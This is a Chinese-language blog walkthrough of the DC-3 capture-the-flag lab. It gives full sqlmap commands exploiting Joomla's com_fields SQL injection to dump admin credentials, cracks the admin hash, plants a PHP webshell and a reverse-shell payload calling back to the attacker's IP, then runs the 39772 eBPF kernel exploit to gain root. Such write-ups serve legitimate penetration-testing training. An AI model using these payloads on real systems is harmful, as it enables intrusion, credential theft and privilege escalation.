DC-3

DC-3靶场渗透

0x01 靶场简介原文

DC-3是另一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。

与以前的DC版本一样,这一个是为初学者设计的,尽管这一次,只有一个标志,一个入口点,根本没有线索。

Linux技能和熟悉Linux命令行是必须的,因为是一些基本的渗透测试工具的经验。

对于初学者,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我发送推文,以获得帮助,让你再次前进。但请注意:我不会给予你答案,相反,我会给你一个关于如何前进的想法。

对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花你很长时间(事实上,它可能会花你不到20分钟)。

如果是这样的话,如果你想让它更有挑战性,你总是可以重做挑战,并探索其他获得root和获得标志的方法。

0x02 环境搭建

本次环境为NAT下

攻击机为kali,IP:192.168.86.129

靶机下载(VM版)

用vmware打开即可

0x03 信息收集

1.寻找目标ip

老套路

1
nmap -sP 192.168.86.0/24

1

dc-3的ip为192.168.86.167

2.扫描开放端口

1
nmap -sS 192.168.86.167

2

80端口开放

3.访问web页面

3

这一次,只有一个flag,一个入口,没有任何线索。

要获得flag,显然必须获得root权限。

你如何获取root权限取决于你–当然,还有系统。

祝你好运–我希望你喜欢这个小挑战。 :-)

与此同时,发现网页的cms是Joomla

4.后台扫描

用御剑扫一下后台

4

只有第一个能正常访问,是登录页面

5

5.寻找漏洞

由于不知道Joomla版本,所以先用goby看看有漏洞没

6

有sql注入漏洞

0x04 利用漏洞

既然有sql注入,就用sqlmap吧

sqlmap参数:

选项 描述
–level=LEVEL 要执行的测试级别(1-5,默认为1,5级payload最多)
–risk=RISK 执行测试的风险(1-3,默认值为1,3级最高危)
–random-agent 使用随机选择的HTTP U-A头
–dbs 查询所有库
1
sqlmap -u "http://192.168.86.167/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,updatexml(0x23,concat(0x7c,substring(database(),1,10),0x7c),0x7c)" --risk=3 --level=5 --dbs --random-agent -p list[fullordering]

7

找到五个库,根据刚刚goby给出的url,看一下现在用的库名

1
http://192.168.86.167/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,updatexml(0x23,concat(0x7e,database(),0x7e),0x7c)

8

库名是joomladb,看一下这个库里的表

1
sqlmap -u "http://192.168.86.167/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,updatexml(0x23,concat(0x7e,database(),0x7e),0x7c)" -D "joomladb" --tables --risk=3 --level=5 --random-agent -p list[fullordering]

9

表挺多,但显然users表更重要一点

1
sqlmap -u "http://192.168.86.167/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,updatexml(0x23,concat(0x7e,database(),0x7e),0x7c)" -D "joomladb" -T "#__users" --columns --risk=3 --level=5 --random-agent -p list[fullordering]

10

第一个位置选1或者直接回车都行,选2要指定字典路径

第二个箭头指定线程,这里用最大10线程

看到有name和password,查一下

1
sqlmap -u "http://192.168.86.167/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,updatexml(0x23,concat(0x7e,database(),0x7e),0x7c)" -D "joomladb" -T "#__users" -C "name,password" --dump  --risk=3 --level=5 --random-agent -p list[fullordering]

11

就一个用户,是admin,但是密码是加密过的

12

把密文写进password,用john解密,得到密码是snoopy

可以登陆后台了

13

“最近的请求被拒绝,因为它包含无效的安全令牌。请刷新页面,然后重试。”

那重新登试试:
14

啊这

搞了半天以为虚拟机有问题,结果是我的问题,直接访问extensions的上传文件的功能点就行了

在此路径下写一句话,保存

15

这里有的教程直接给出了路径,不知道是猜的还是咋的,这里用另一种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。
$sock = fsockopen("192.168.86.129", "5555");

$descriptorspec = array(

0 => $sock,

1 => $sock,

2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

16

保存,访问index.php,同时kali监听5555端口

17

拿到shell,看一下当前用户权限及系统版本

18

上网搜一下,可以找到该系统为Ubuntu 16.04,看一下这个系统版本有没有漏洞

19

39772.txt可以用于本次渗透,用已经拿到的shell把poc下载到靶机中

但是总是下载失败,两个思路,其一是下载到自己电脑上,然后用现成的shell,通过wget命令下载,另一种方法是再传一个一句话的shell,通过蚁剑上传上去,这里选后者

39772.txt中写着poc的地址,下载

21

1
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

下载之后直接传上去

20

然后用拿到的shell解压缩

1
2
3
4
unzip 39772.zip        
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit

看着有点费劲,获取交互式shell

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

上面箭头给出了用法,直接利用就行了

1
2
./compile.sh
./doubleput

敲完命令稍等一下,就看到/root下的flag了

22

0x05 参考文章

1.DC-3的渗透测试

2.[DC-3靶场实战详解](DC-3靶场实战详解 - FreeBuf网络安全行业门户)


DC-3
http://example.com/2023/09/06/DC-3/
作者
想有双手
发布于
2023年9月6日
许可协议